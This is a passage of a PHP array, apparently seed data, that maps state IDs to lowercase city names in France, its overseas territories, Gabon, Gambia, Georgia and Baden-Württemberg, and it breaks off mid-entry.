['state_id' => '1295', 'name' => 'neuilly-sur-marne'],\n ['state_id' => '1295', 'name' => 'noisy-le-grand'],\n ['state_id' => '1295', 'name' => 'noisy-le-sec'],\n ['state_id' => '1295', 'name' => 'pantin'],\n ['state_id' => '1295', 'name' => 'pierrefitte-sur-seine'],\n ['state_id' => '1295', 'name' => 'romainville'],\n ['state_id' => '1295', 'name' => 'rosny-sous-bois'],\n ['state_id' => '1295', 'name' => 'saint-denis'],\n ['state_id' => '1295', 'name' => 'saint-ouen'],\n ['state_id' => '1295', 'name' => 'sevran'],\n ['state_id' => '1295', 'name' => 'stains'],\n ['state_id' => '1295', 'name' => 'tremblay-en-france'],\n ['state_id' => '1295', 'name' => 'villemomble'],\n ['state_id' => '1295', 'name' => 'villepinte'],\n ['state_id' => '1295', 'name' => 'villetaneuse'],\n ['state_id' => '1296', 'name' => 'avon'],\n ['state_id' => '1296', 'name' => 'brie-comte-robert'],\n ['state_id' => '1296', 'name' => 'champs-sur-marne'],\n ['state_id' => '1296', 'name' => 'chelles'],\n ['state_id' => '1296', 'name' => 'claye-souilly'],\n ['state_id' => '1296', 'name' => 'combs-la-ville'],\n ['state_id' => '1296', 'name' => 'coulommiers'],\n ['state_id' => '1296', 'name' => 'dammarie-les-lys'],\n ['state_id' => '1296', 'name' => 'fontainebleau'],\n ['state_id' => '1296', 'name' => 'lagny-sur-marne'],\n ['state_id' => '1296', 'name' => 'le mee-sur-seine'],\n ['state_id' => '1296', 'name' => 'lognes'],\n ['state_id' => '1296', 'name' => 'meaux'],\n ['state_id' => '1296', 'name' => 'melun'],\n ['state_id' => '1296', 'name' => 'mitry-mory'],\n ['state_id' => '1296', 'name' => 'moissy-cramayel'],\n ['state_id' => '1296', 'name' => 'montereau-fault-yonne'],\n ['state_id' => '1296', 'name' => 'nemours'],\n ['state_id' => '1296', 'name' => 'noisiel'],\n ['state_id' => '1296', 'name' => 'ozoir-la-ferriere'],\n ['state_id' => '1296', 'name' => 'pontault-combault'],\n ['state_id' => '1296', 'name' => 'provins'],\n ['state_id' => '1296', 'name' => 'roissy-en-brie'],\n ['state_id' => '1296', 'name' => 'saint-fargeau-ponthierry'],\n ['state_id' => '1296', 'name' => 'savigny-le-temple'],\n ['state_id' => '1296', 'name' => 'torcy'],\n ['state_id' => '1296', 'name' => 'vaires-sur-marne'],\n ['state_id' => '1296', 'name' => 'veneux'],\n ['state_id' => '1296', 'name' => 'villeparisis'],\n ['state_id' => '1297', 'name' => 'abbeville'],\n ['state_id' => '1297', 'name' => 'albert'],\n ['state_id' => '1297', 'name' => 'amiens'],\n ['state_id' => '1299', 'name' => 'souvans'],\n ['state_id' => '1300', 'name' => 'albi'],\n ['state_id' => '1300', 'name' => 'carmaux'],\n ['state_id' => '1300', 'name' => 'castres'],\n ['state_id' => '1300', 'name' => 'gaillac'],\n ['state_id' => '1300', 'name' => 'graulhet'],\n ['state_id' => '1300', 'name' => 'mazamet'],\n ['state_id' => '1301', 'name' => 'castelsarassin'],\n ['state_id' => '1301', 'name' => 'moissac'],\n ['state_id' => '1301', 'name' => 'montauban'],\n ['state_id' => '1303', 'name' => 'chamberet'],\n ['state_id' => '1305', 'name' => 'argenteuil'],\n ['state_id' => '1305', 'name' => 'arnouville-les-gonesse'],\n ['state_id' => '1305', 'name' => 'beauchamps'],\n ['state_id' => '1305', 'name' => 'bezons'],\n ['state_id' => '1305', 'name' => 'cergy'],\n ['state_id' => '1305', 'name' => 'cormeilles-en-parisis'],\n ['state_id' => '1305', 'name' => 'deuil-la-barre'],\n ['state_id' => '1305', 'name' => 'domont'],\n ['state_id' => '1305', 'name' => 'eaubonne'],\n ['state_id' => '1305', 'name' => 'enghien-les-bains'],\n ['state_id' => '1305', 'name' => 'eragny'],\n ['state_id' => '1305', 'name' => 'ermont'],\n ['state_id' => '1305', 'name' => 'ezanville'],\n ['state_id' => '1305', 'name' => 'fosses'],\n ['state_id' => '1305', 'name' => 'franconville'],\n ['state_id' => '1305', 'name' => 'garges-les-gonesse'],\n ['state_id' => '1305', 'name' => 'gonesse'],\n ['state_id' => '1305', 'name' => 'goussainville'],\n ['state_id' => '1305', 'name' => 'herblay'],\n ['state_id' => '1305', 'name' => 'jouy-le-moutier'],\n ['state_id' => '1305', 'name' => 'l\\'isle-adam'],\n ['state_id' => '1305', 'name' => 'montigny-les-cormeilles'],\n ['state_id' => '1305', 'name' => 'montmagny'],\n ['state_id' => '1305', 'name' => 'montmorency'],\n ['state_id' => '1305', 'name' => 'osny'],\n ['state_id' => '1305', 'name' => 'persan'],\n ['state_id' => '1305', 'name' => 'pontoise'],\n ['state_id' => '1305', 'name' => 'saint-brice-sous-foret'],\n ['state_id' => '1305', 'name' => 'saint-gratien'],\n ['state_id' => '1305', 'name' => 'saint-leu-la-foret'],\n ['state_id' => '1305', 'name' => 'saint-ouen-l\\'aumone'],\n ['state_id' => '1305', 'name' => 'sannois'],\n ['state_id' => '1305', 'name' => 'sarcelles'],\n ['state_id' => '1305', 'name' => 'soisy-sous-montmorency'],\n ['state_id' => '1305', 'name' => 'taverny'],\n ['state_id' => '1305', 'name' => 'vaureal'],\n ['state_id' => '1305', 'name' => 'villiers-le-bel'],\n ['state_id' => '1306', 'name' => 'alfortville'],\n ['state_id' => '1306', 'name' => 'arcueil'],\n ['state_id' => '1306', 'name' => 'boissy-saint-leger'],\n ['state_id' => '1306', 'name' => 'bonneuil'],\n ['state_id' => '1306', 'name' => 'bry-sur-marne'],\n ['state_id' => '1306', 'name' => 'cachan'],\n ['state_id' => '1306', 'name' => 'champigny-sur-marne'],\n ['state_id' => '1306', 'name' => 'charenton-le-pont'],\n ['state_id' => '1306', 'name' => 'chennevieres-sur-marne'],\n ['state_id' => '1306', 'name' => 'chevilly-larue'],\n ['state_id' => '1306', 'name' => 'choisy-le-roi'],\n ['state_id' => '1306', 'name' => 'creteil'],\n ['state_id' => '1306', 'name' => 'fontenay-sous-bois'],\n ['state_id' => '1306', 'name' => 'fresnes'],\n ['state_id' => '1306', 'name' => 'gentilly'],\n ['state_id' => '1306', 'name' => 'ivry-sur-seine'],\n ['state_id' => '1306', 'name' => 'joinville-le-pont'],\n ['state_id' => '1306', 'name' => 'l\\'hay-les-roses'],\n ['state_id' => '1306', 'name' => 'la queue-en-brie'],\n ['state_id' => '1306', 'name' => 'le kremlin-bicetre'],\n ['state_id' => '1306', 'name' => 'le perreux-sur-marne'],\n ['state_id' => '1306', 'name' => 'le plessis-trevise'],\n ['state_id' => '1306', 'name' => 'limeil-brevannes'],\n ['state_id' => '1306', 'name' => 'maisons-alfort'],\n ['state_id' => '1306', 'name' => 'nogent-sur-marne'],\n ['state_id' => '1306', 'name' => 'orly'],\n ['state_id' => '1306', 'name' => 'ormesson-sur-marne'],\n ['state_id' => '1306', 'name' => 'saint-mande'],\n ['state_id' => '1306', 'name' => 'saint-maur-des-fosses'],\n ['state_id' => '1306', 'name' => 'saint-maurice'],\n ['state_id' => '1306', 'name' => 'sucy-en-brie'],\n ['state_id' => '1306', 'name' => 'thiais'],\n ['state_id' => '1306', 'name' => 'valenton'],\n ['state_id' => '1306', 'name' => 'villejuif'],\n ['state_id' => '1306', 'name' => 'villeneuve-saint-georges'],\n ['state_id' => '1306', 'name' => 'villeneuve-le-roi'],\n ['state_id' => '1306', 'name' => 'villiers-sur-marne'],\n ['state_id' => '1306', 'name' => 'vincennes'],\n ['state_id' => '1306', 'name' => 'vitry-sur-seine'],\n ['state_id' => '1307', 'name' => 'brignoles'],\n ['state_id' => '1307', 'name' => 'draguignan'],\n ['state_id' => '1307', 'name' => 'frejus'],\n ['state_id' => '1307', 'name' => 'hyeres'],\n ['state_id' => '1307', 'name' => 'la crau'],\n ['state_id' => '1307', 'name' => 'la garde'],\n ['state_id' => '1307', 'name' => 'la seyne-sur-mer'],\n ['state_id' => '1307', 'name' => 'la valette-du-var'],\n ['state_id' => '1307', 'name' => 'le pradet'],\n ['state_id' => '1307', 'name' => 'ollioules'],\n ['state_id' => '1307', 'name' => 'roquebrune-sur-argens'],\n ['state_id' => '1307', 'name' => 'saint-maximin-la-sainte-baume'],\n ['state_id' => '1307', 'name' => 'saint-raphael'],\n ['state_id' => '1307', 'name' => 'sainte-maxime'],\n ['state_id' => '1307', 'name' => 'sanary-sur-mer'],\n ['state_id' => '1307', 'name' => 'six-fours-les-plages'],\n ['state_id' => '1307', 'name' => 'sollies-pont'],\n ['state_id' => '1307', 'name' => 'toulon'],\n ['state_id' => '1308', 'name' => 'apt'],\n ['state_id' => '1308', 'name' => 'avignon'],\n ['state_id' => '1308', 'name' => 'bollene'],\n ['state_id' => '1308', 'name' => 'carpentras'],\n ['state_id' => '1308', 'name' => 'cavaillon'],\n ['state_id' => '1308', 'name' => 'l\\'isle-sur-la-sorgue'],\n ['state_id' => '1308', 'name' => 'le pontet'],\n ['state_id' => '1308', 'name' => 'orange'],\n ['state_id' => '1308', 'name' => 'pertuis'],\n ['state_id' => '1308', 'name' => 'sorgues'],\n ['state_id' => '1308', 'name' => 'valreas'],\n ['state_id' => '1309', 'name' => 'vellise'],\n ['state_id' => '1310', 'name' => 'challans'],\n ['state_id' => '1310', 'name' => 'chateau-d\\'olonne'],\n ['state_id' => '1310', 'name' => 'fontenay-le-comte'],\n ['state_id' => '1310', 'name' => 'la chasnis'],\n ['state_id' => '1310', 'name' => 'la roche-sur-yon'],\n ['state_id' => '1310', 'name' => 'les herbiers'],\n ['state_id' => '1310', 'name' => 'les sables-d\\'olonne'],\n ['state_id' => '1310', 'name' => 'longeville-sur-mer'],\n ['state_id' => '1311', 'name' => 'chatellerault'],\n ['state_id' => '1311', 'name' => 'poitiers'],\n ['state_id' => '1312', 'name' => 'epinal'],\n ['state_id' => '1312', 'name' => 'gerardmer'],\n ['state_id' => '1312', 'name' => 'remiremont'],\n ['state_id' => '1312', 'name' => 'saint-die'],\n ['state_id' => '1313', 'name' => 'auxerre'],\n ['state_id' => '1313', 'name' => 'avallon'],\n ['state_id' => '1313', 'name' => 'joigny'],\n ['state_id' => '1313', 'name' => 'sens'],\n ['state_id' => '1314', 'name' => 'acheres'],\n ['state_id' => '1314', 'name' => 'andresy'],\n ['state_id' => '1314', 'name' => 'aubergenville'],\n ['state_id' => '1314', 'name' => 'bois-d\\'arcy'],\n ['state_id' => '1314', 'name' => 'carrieres-sous-poissy'],\n ['state_id' => '1314', 'name' => 'carrieres-sur-seine'],\n ['state_id' => '1314', 'name' => 'chanteloup-les-vignes'],\n ['state_id' => '1314', 'name' => 'chatou'],\n ['state_id' => '1314', 'name' => 'conflans-sainte-honorine'],\n ['state_id' => '1314', 'name' => 'croissy-sur-seine'],\n ['state_id' => '1314', 'name' => 'elancourt'],\n ['state_id' => '1314', 'name' => 'fontenay-le-fleury'],\n ['state_id' => '1314', 'name' => 'guyancourt'],\n ['state_id' => '1314', 'name' => 'houilles'],\n ['state_id' => '1314', 'name' => 'la celle-saint-cloud'],\n ['state_id' => '1314', 'name' => 'le chesnay'],\n ['state_id' => '1314', 'name' => 'le pecq'],\n ['state_id' => '1314', 'name' => 'le vesinet'],\n ['state_id' => '1314', 'name' => 'les clayes-sous-bois'],\n ['state_id' => '1314', 'name' => 'les mureaux'],\n ['state_id' => '1314', 'name' => 'limay'],\n ['state_id' => '1314', 'name' => 'maisons-laffitte'],\n ['state_id' => '1314', 'name' => 'mantes-la-jolie'],\n ['state_id' => '1314', 'name' => 'mantes-la-ville'],\n ['state_id' => '1314', 'name' => 'marly-le-roi'],\n ['state_id' => '1314', 'name' => 'maurepas'],\n ['state_id' => '1314', 'name' => 'montesson'],\n ['state_id' => '1314', 'name' => 'montigny-le-bretonneux'],\n ['state_id' => '1314', 'name' => 'plaisir'],\n ['state_id' => '1314', 'name' => 'poissy'],\n ['state_id' => '1314', 'name' => 'rambouillet'],\n ['state_id' => '1314', 'name' => 'saint-cyr-l\\'ecole'],\n ['state_id' => '1314', 'name' => 'saint-germain-en-laye'],\n ['state_id' => '1314', 'name' => 'sartrouville'],\n ['state_id' => '1314', 'name' => 'trappes'],\n ['state_id' => '1314', 'name' => 'triel-sur-seine'],\n ['state_id' => '1314', 'name' => 'velizy-villacoublay'],\n ['state_id' => '1314', 'name' => 'verneuil-sur-seine'],\n ['state_id' => '1314', 'name' => 'versailles'],\n ['state_id' => '1314', 'name' => 'viroflay'],\n ['state_id' => '1314', 'name' => 'voisins-le-bretonneux'],\n ['state_id' => '1315', 'name' => 'camopi'],\n ['state_id' => '1315', 'name' => 'cayenne'],\n ['state_id' => '1315', 'name' => 'iracoubo'],\n ['state_id' => '1315', 'name' => 'kourou'],\n ['state_id' => '1315', 'name' => 'macouria'],\n ['state_id' => '1315', 'name' => 'matoury'],\n ['state_id' => '1315', 'name' => 'remire-montjoly'],\n ['state_id' => '1315', 'name' => 'roura'],\n ['state_id' => '1315', 'name' => 'saint-georges'],\n ['state_id' => '1315', 'name' => 'sinnamary'],\n ['state_id' => '1316', 'name' => 'apatou'],\n ['state_id' => '1316', 'name' => 'grand-santi'],\n ['state_id' => '1316', 'name' => 'mana'],\n ['state_id' => '1316', 'name' => 'maripasoula'],\n ['state_id' => '1316', 'name' => 'saint-laurent-du-maroni'],\n ['state_id' => '1319', 'name' => 'atuona'],\n ['state_id' => '1319', 'name' => 'fatu-hiva'],\n ['state_id' => '1319', 'name' => 'hakahao'],\n ['state_id' => '1319', 'name' => 'hakamaii'],\n ['state_id' => '1319', 'name' => 'hatiheu'],\n ['state_id' => '1319', 'name' => 'tahuata'],\n ['state_id' => '1319', 'name' => 'taiohae'],\n ['state_id' => '1319', 'name' => 'taipivai'],\n ['state_id' => '1319', 'name' => 'ua-huka'],\n ['state_id' => '1320', 'name' => 'ahe'],\n ['state_id' => '1320', 'name' => 'amanu'],\n ['state_id' => '1320', 'name' => 'anaa'],\n ['state_id' => '1320', 'name' => 'apataki'],\n ['state_id' => '1320', 'name' => 'arutua'],\n ['state_id' => '1320', 'name' => 'faaite'],\n ['state_id' => '1320', 'name' => 'fakahima'],\n ['state_id' => '1320', 'name' => 'fakarava'],\n ['state_id' => '1320', 'name' => 'fangatau'],\n ['state_id' => '1320', 'name' => 'hao'],\n ['state_id' => '1320', 'name' => 'hereheretue'],\n ['state_id' => '1320', 'name' => 'hikueru'],\n ['state_id' => '1320', 'name' => 'katiu'],\n ['state_id' => '1320', 'name' => 'kauehi'],\n ['state_id' => '1320', 'name' => 'kaukura'],\n ['state_id' => '1320', 'name' => 'makatea'],\n ['state_id' => '1320', 'name' => 'makemo'],\n ['state_id' => '1320', 'name' => 'manihi'],\n ['state_id' => '1320', 'name' => 'marokau'],\n ['state_id' => '1320', 'name' => 'napuka'],\n ['state_id' => '1320', 'name' => 'niau'],\n ['state_id' => '1320', 'name' => 'nukutavake'],\n ['state_id' => '1320', 'name' => 'puamau'],\n ['state_id' => '1320', 'name' => 'pukapuka'],\n ['state_id' => '1320', 'name' => 'pukarua'],\n ['state_id' => '1320', 'name' => 'rangiroa'],\n ['state_id' => '1320', 'name' => 'raroia'],\n ['state_id' => '1320', 'name' => 'reao'],\n ['state_id' => '1320', 'name' => 'rikitea'],\n ['state_id' => '1320', 'name' => 'taenga'],\n ['state_id' => '1320', 'name' => 'takapoto'],\n ['state_id' => '1320', 'name' => 'takaroa'],\n ['state_id' => '1320', 'name' => 'tatakoto'],\n ['state_id' => '1320', 'name' => 'tepoto'],\n ['state_id' => '1320', 'name' => 'tikehau'],\n ['state_id' => '1320', 'name' => 'tureia'],\n ['state_id' => '1320', 'name' => 'vahitahi'],\n ['state_id' => '1320', 'name' => 'vairaatea'],\n ['state_id' => '1321', 'name' => 'amaru'],\n ['state_id' => '1321', 'name' => 'anapoto'],\n ['state_id' => '1321', 'name' => 'anatonu'],\n ['state_id' => '1321', 'name' => 'auti'],\n ['state_id' => '1321', 'name' => 'avera'],\n ['state_id' => '1321', 'name' => 'mahu'],\n ['state_id' => '1321', 'name' => 'mataura'],\n ['state_id' => '1321', 'name' => 'moerai'],\n ['state_id' => '1321', 'name' => 'mutuaura'],\n ['state_id' => '1321', 'name' => 'rairua'],\n ['state_id' => '1321', 'name' => 'rapa'],\n ['state_id' => '1321', 'name' => 'taahuaia'],\n ['state_id' => '1321', 'name' => 'vaiuru'],\n ['state_id' => '1322', 'name' => 'martin-de-vivies'],\n ['state_id' => '1324', 'name' => 'port-aux-francais'],\n ['state_id' => '1325', 'name' => 'cocobeach'],\n ['state_id' => '1325', 'name' => 'kango'],\n ['state_id' => '1325', 'name' => 'libreville'],\n ['state_id' => '1325', 'name' => 'nkan'],\n ['state_id' => '1325', 'name' => 'ntoum'],\n ['state_id' => '1326', 'name' => 'lekoni'],\n ['state_id' => '1326', 'name' => 'masuku'],\n ['state_id' => '1326', 'name' => 'moanda'],\n ['state_id' => '1326', 'name' => 'mounana'],\n ['state_id' => '1326', 'name' => 'okandja'],\n ['state_id' => '1327', 'name' => 'lambarene'],\n ['state_id' => '1327', 'name' => 'ndjole'],\n ['state_id' => '1328', 'name' => 'fougamou'],\n ['state_id' => '1328', 'name' => 'mbigou'],\n ['state_id' => '1328', 'name' => 'mimongo'],\n ['state_id' => '1328', 'name' => 'mouila'],\n ['state_id' => '1328', 'name' => 'ndende'],\n ['state_id' => '1329', 'name' => 'mayumba'],\n ['state_id' => '1329', 'name' => 'tchibanga'],\n ['state_id' => '1329', 'name' => 'tsogni'],\n ['state_id' => '1330', 'name' => 'booue'],\n ['state_id' => '1330', 'name' => 'makokou'],\n ['state_id' => '1330', 'name' => 'mekambo'],\n ['state_id' => '1331', 'name' => 'koulamoutou'],\n ['state_id' => '1331', 'name' => 'lastoursville'],\n ['state_id' => '1332', 'name' => 'gamba'],\n ['state_id' => '1332', 'name' => 'omboue'],\n ['state_id' => '1332', 'name' => 'port-gentil'],\n ['state_id' => '1332', 'name' => 'sette cama'],\n ['state_id' => '1333', 'name' => 'bitam'],\n ['state_id' => '1333', 'name' => 'lalara'],\n ['state_id' => '1333', 'name' => 'medouneu'],\n ['state_id' => '1333', 'name' => 'minvoul'],\n ['state_id' => '1333', 'name' => 'mitzic'],\n ['state_id' => '1333', 'name' => 'oyem'],\n ['state_id' => '1334', 'name' => 'banjul'],\n ['state_id' => '1335', 'name' => 'basse'],\n ['state_id' => '1335', 'name' => 'gambissara'],\n ['state_id' => '1335', 'name' => 'sabi'],\n ['state_id' => '1335', 'name' => 'salikeni'],\n ['state_id' => '1336', 'name' => 'brikama'],\n ['state_id' => '1336', 'name' => 'brufut'],\n ['state_id' => '1336', 'name' => 'gunjur'],\n ['state_id' => '1336', 'name' => 'sukuta'],\n ['state_id' => '1337', 'name' => 'bansang'],\n ['state_id' => '1337', 'name' => 'janjanbureh'],\n ['state_id' => '1338', 'name' => 'bakau'],\n ['state_id' => '1338', 'name' => 'serekunda'],\n ['state_id' => '1339', 'name' => 'barra'],\n ['state_id' => '1339', 'name' => 'essau'],\n ['state_id' => '1339', 'name' => 'farafenni'],\n ['state_id' => '1339', 'name' => 'kerewan'],\n ['state_id' => '1339', 'name' => 'lamin'],\n ['state_id' => '1340', 'name' => 'kuntaur'],\n ['state_id' => '1341', 'name' => 'mansakonko'],\n ['state_id' => '1342', 'name' => 'ahali atoni'],\n ['state_id' => '1342', 'name' => 'bihvinta'],\n ['state_id' => '1342', 'name' => 'gagra'],\n ['state_id' => '1342', 'name' => 'gali'],\n ['state_id' => '1342', 'name' => 'gudauta'],\n ['state_id' => '1342', 'name' => 'gulripshi'],\n ['state_id' => '1342', 'name' => 'ochamchira'],\n ['state_id' => '1342', 'name' => 'suhumi'],\n ['state_id' => '1342', 'name' => 'tkvarcheli'],\n ['state_id' => '1343', 'name' => 'batumi'],\n ['state_id' => '1343', 'name' => 'dioknisi'],\n ['state_id' => '1343', 'name' => 'kobuleti'],\n ['state_id' => '1343', 'name' => 'mahindzhauri'],\n ['state_id' => '1344', 'name' => 'lanchhuti'],\n ['state_id' => '1344', 'name' => 'ozurgeti'],\n ['state_id' => '1345', 'name' => 'bagdadi'],\n ['state_id' => '1345', 'name' => 'chaltubo'],\n ['state_id' => '1345', 'name' => 'chiatura'],\n ['state_id' => '1345', 'name' => 'honi'],\n ['state_id' => '1345', 'name' => 'kutaisi'],\n ['state_id' => '1345', 'name' => 'sachhere'],\n ['state_id' => '1345', 'name' => 'samtredia'],\n ['state_id' => '1345', 'name' => 'terzhola'],\n ['state_id' => '1345', 'name' => 'tkibuli'],\n ['state_id' => '1345', 'name' => 'vani'],\n ['state_id' => '1345', 'name' => 'zestaponi'],\n ['state_id' => '1346', 'name' => 'ahmeta'],\n ['state_id' => '1346', 'name' => 'cnori'],\n ['state_id' => '1346', 'name' => 'dedoplisckaro'],\n ['state_id' => '1346', 'name' => 'gurdzhaani'],\n ['state_id' => '1346', 'name' => 'kvareli'],\n ['state_id' => '1346', 'name' => 'lagodehi'],\n ['state_id' => '1346', 'name' => 'sagaredzho'],\n ['state_id' => '1346', 'name' => 'signahi'],\n ['state_id' => '1346', 'name' => 'telavi'],\n ['state_id' => '1348', 'name' => 'dusheti'],\n ['state_id' => '1348', 'name' => 'mcheta'],\n ['state_id' => '1349', 'name' => 'ambrolauri'],\n ['state_id' => '1349', 'name' => 'cageri'],\n ['state_id' => '1349', 'name' => 'oni'],\n ['state_id' => '1351', 'name' => 'ahalcihe'],\n ['state_id' => '1351', 'name' => 'ahalkalaki'],\n ['state_id' => '1351', 'name' => 'borzhomi'],\n ['state_id' => '1351', 'name' => 'ninocminda'],\n ['state_id' => '1351', 'name' => 'vale'],\n ['state_id' => '1353', 'name' => 'tbilisi'],\n ['state_id' => '1355', 'name' => 'aalen'],\n ['state_id' => '1355', 'name' => 'achern'],\n ['state_id' => '1355', 'name' => 'aichtal'],\n ['state_id' => '1355', 'name' => 'albstadt'],\n ['state_id' => '1355', 'name' => 'aldingen'],\n ['state_id' => '1355', 'name' => 'allmersbach'],\n ['state_id' => '1355', 'name' => 'alpirsbach'],\n ['state_id' => '1355', 'name' => 'altensteig'],\n ['state_id' => '1355', 'name' => 'altlussheim'],\n ['state_id' => '1355', 'name' => 'ammerbuch'],\n ['state_id' => '1355', 'name' => 'appenweier'],\n ['state_id' => '1355', 'name' => 'asperg'],\n ['state_id' => '1355', 'name' => 'backnang'],\n ['state_id' => '1355', 'name' => 'bad durrheim'],\n ['state_id' => '1355', 'name' => 'bad friedrichshall'],\n ['state_id' => '1355', 'name' => 'bad krozingen'],\n ['state_id' => '1355', 'name' => 'bad liebenzell'],\n ['state_id' => '1355', 'name' => 'bad mergentheim'],\n ['state_id' => '1355', 'name' => 'bad rappenau'],\n ['state_id' => '1355', 'name' => 'bad sackingen'],\n ['state_id' => '1355', 'name' => 'bad schonborn'],\n ['state_id' => '1355', 'name' => 'bad urach'],\n ['state_id' => '1355', 'name' => 'bad waldsee'],\n ['state_id' => '1355', 'name' => 'bad wurzach'],\n ['state_id' => '1355', 'name' => 'baden-baden'],\n ['state_id' => '1355', 'name' => 'bahlingen'],\n ['state_id' => '1355', 'name' => 'baiersbronn'],\n ['state_id' => '1355', 'name' => 'balgheim'],\n ['state_id' => '1355', 'name' => 'balingen'],\n ['state_id' => '1355', 'name' => 'ballrechten-dottingen'],\n ['state_id' => '1355', 'name' => 'besigheim'],\n ['state_id' => '1355', 'name' => 'biberach'],\n ['state_id' => '1355', 'name' => 'bietigheim-bissingen'],\n ['state_id' => '1355', 'name' => 'binzen'],\n ['state_id' => '1355', 'name' => 'birkenfeld'],\n ['state_id' => '1355', 'name' => 'bisingen'],\n ['state_id' => '1355', 'name' => 'bitz'],\n ['state_id' => '1355', 'name' => 'blaubeuren'],\n ['state_id' => '1355', 'name' => 'blaustein'],\n ['state_id' => '1355', 'name' => 'blumberg'],\n ['state_id' => '1355', 'name' => 'boblingen'],\n ['state_id' => '1355', 'name' => 'bodelshausen'],\n ['state_id' => '1355', 'name' => 'bonndorf'],\n ['state_id' => '1355', 'name' => 'bonnigheim'],\n ['state_id' => '1355', 'name' => 'bopfingen'],\n ['state_id' => '1355', 'name' => 'bottingen'],\n ['state_id' => '1355', 'name' => 'brackenheim'],\n ['state_id' => '1355', 'name' => 'breisach'],\n ['state_id' => '1355', 'name' => 'bretten'],\n ['state_id' => '1355', 'name' => 'bretzfeld'],\n ['state_id' => '1355', 'name' => 'bruchsal'],\n ['state_id' => '1355', 'name' => 'bruhl'],\n ['state_id' => '1355', 'name' => 'buchen'],\n ['state_id' => '1355', 'name' => 'buchenbach'],\n ['state_id' => '1355', 'name' => 'buhl'],\n ['state_id' => '1355', 'name' => 'burgstetten'],\n ['state_id' => '1355', 'name' => 'burladingen'],\n ['state_id' => '1355', 'name' => 'calw'],\n ['state_id' => '1355', 'name' => 'crailsheim'],\n ['state_id' => '1355', 'name' => 'denkendorf'],\n ['state_id' => '1355', 'name' => 'denzlingen'],\n ['state_id' => '1355', 'name' => 'dettingen'],\n ['state_id' => '1355', 'name' => 'dietenheim'],\n ['state_id' => '1355', 'name' => 'ditzingen'],\n ['state_id' => '1355', 'name' => 'donaueschingen'],\n ['state_id' => '1355', 'name' => 'donzdorf'],\n ['state_id' => '1355', 'name' => 'dornhan'],\n ['state_id' => '1355', 'name' => 'dornstadt'],\n ['state_id' => '1355', 'name' => 'dornstetten'],\n ['state_id' => '1355', 'name' => 'dossenheim'],\n ['state_id' => '1355', 'name' => 'durbheim'],\n ['state_id' => '1355', 'name' => 'durmersheim'],\n ['state_id' => '1355', 'name' => 'eberbach'],\n ['state_id' => '1355', 'name' => 'ebersbach'],\n ['state_id' => '1355', 'name' => 'edingen'],\n ['state_id' => '1355', 'name' => 'edingen-neckarhausen'],\n ['state_id' => '1355', 'name' => 'eggenstein-leopoldshafen'],\n ['state_id' => '1355', 'name' => 'ehingen'],\n ['state_id' => '1355', 'name' => 'eislingen'],\n ['state_id' => '1355', 'name' => 'ellhofen'],\n ['state_id' => '1355', 'name' => 'ellwangen'],\n ['state_id' => '1355', 'name' => 'emmendingen'],\n ['state_id' => '1355', 'name' => 'emmingen-liptingen'],\n ['state_id' => '1355', 'name' => 'engen'],\n ['state_id' => '1355', 'name' => 'eningen'],\n ['state_id' => '1355', 'name' => 'eppelheim'],\n ['state_id' => '1355', 'name' => 'eppingen'],\n ['state_id' => '1355', 'name' => 'erbach'],\n ['state_id' => '1355', 'name' => 'eriskirch'],\n ['state_id' => '1355', 'name' => 'eschach'],\n ['state_id' => '1355', 'name' => 'esslingen'],\n ['state_id' => '1355', 'name' => 'ettenheim'],\n ['state_id' => '1355', 'name' => 'ettlingen'],\n ['state_id' => '1355', 'name' => 'fellbach'],\n ['state_id' => '1355', 'name' => 'filderstadt'],\n ['state_id' => '1355', 'name' => 'freiberg'],\n ['state_id' => '1355', 'name' => 'freiburg'],\n ['state_id' => '1355', 'name' => 'freudenstadt'],\n ['state_id' => '1355', 'name' => 'frickenhausen'],\n ['state_id' => '1355', 'name' => 'fridingen'],\n ['state_id' => '1355', 'name' => 'friedrichshafen'],\n ['state_id' => '1355', 'name' => 'friesenheim'],\n ['state_id' => '1355', 'name' => 'frittlingen'],\n ['state_id' => '1355', 'name' => 'furtwangen'],\n ['state_id' => '1355', 'name' => 'gaggenau'],\n ['state_id' => '1355', 'name' => 'gaildorf'],\n ['state_id' => '1355', 'name' => 'gartringen'],\n ['state_id' => '1355', 'name' => 'gaufelden'],\n ['state_id' => '1355', 'name' => 'geislingen'],\n ['state_id' => '1355', 'name' => 'gengenbach'],\n ['state_id' => '1355', 'name' => 'gerlingen'],\n ['state_id' => '1355', 'name' => 'gernsbach'],\n ['state_id' => '1355', 'name' => 'gerstetten'],\n ['state_id' => '1355', 'name' => 'giengen'],\n ['state_id' => '1355', 'name' => 'goppingen'],\n ['state_id' => '1355', 'name' => 'gottmadingen'],\n ['state_id' => '1355', 'name' => 'graben-neudorf'],\n ['state_id' => '1355', 'name' => 'grafenberg'],\n ['state_id' => '1355', 'name' => 'grafenhausen'],\n ['state_id' => '1355', 'name' => 'grenzach-wyhlen'],\n ['state_id' => '1355', 'name' => 'grobbettlingen'],\n ['state_id' => '1355', 'name' => 'grunkraut'],\n ['state_id' => '1355', 'name' => 'gschwend'],\n ['state_id' => '1355', 'name' => 'guglingen'],\n ['state_id' => '1355', 'name' => 'gundelfingen'],\n ['state_id' => '1355', 'name' => 'gutach'],\n ['state_id' => '1355', 'name' => 'haigerloch'],\n ['state_id' => '1355', 'name' => 'haiterbach'],\n ['state_id' => '1355', 'name' => 'harmersabch'],\n ['state_id' => '1355', 'name' => 'hausach'],\n ['state_id' => '1355', 'name' => 'hechingen'],\n ['state_id' => '1355', 'name' => 'heddesheim'],\n ['state_id' => '1355', 'name' => 'heidelberg'],\n ['state_id' => '1355', 'name' => 'heidenheim'],\n ['state_id' => '1355', 'name' => 'heilbronn'],\n ['state_id' => '1355', 'name' => 'hemsbach'],\n ['state_id' => '1355', 'name' => 'herbrechtingen'],\n ['state_id' => '1355', 'name' => 'herrenberg'],\n ['state_id' => '1355', 'name' => 'heubach'],\n ['state_id' => '1355', 'name' => 'hirschberg'],\n ['state_id' => '1355', 'name' => 'hockenheim'],\n ['state_id' => '1355', 'name' => 'holzgerlingen'],\n ['state_id' => '1355', 'name' => 'horb'],\n ['state_id' => '1355', 'name' => 'hufingen'],\n ['state_id' => '1355', 'name' => 'huttlingen'],\n ['state_id' => '1355', 'name' => 'isny'],\n ['state_id' => '1355', 'name' => 'ispringen'],\n ['state_id' => '1355', 'name' => 'jungingen'],\n ['state_id' => '1355', 'name' => 'karlsbad'],\n ['state_id' => '1355', 'name' => 'karlsruhe'],\n ['state_id' => '1355', 'name' => 'kehl'],\n ['state_id' => '1355', 'name' => 'kernen'],\n ['state_id' => '1355', 'name' => 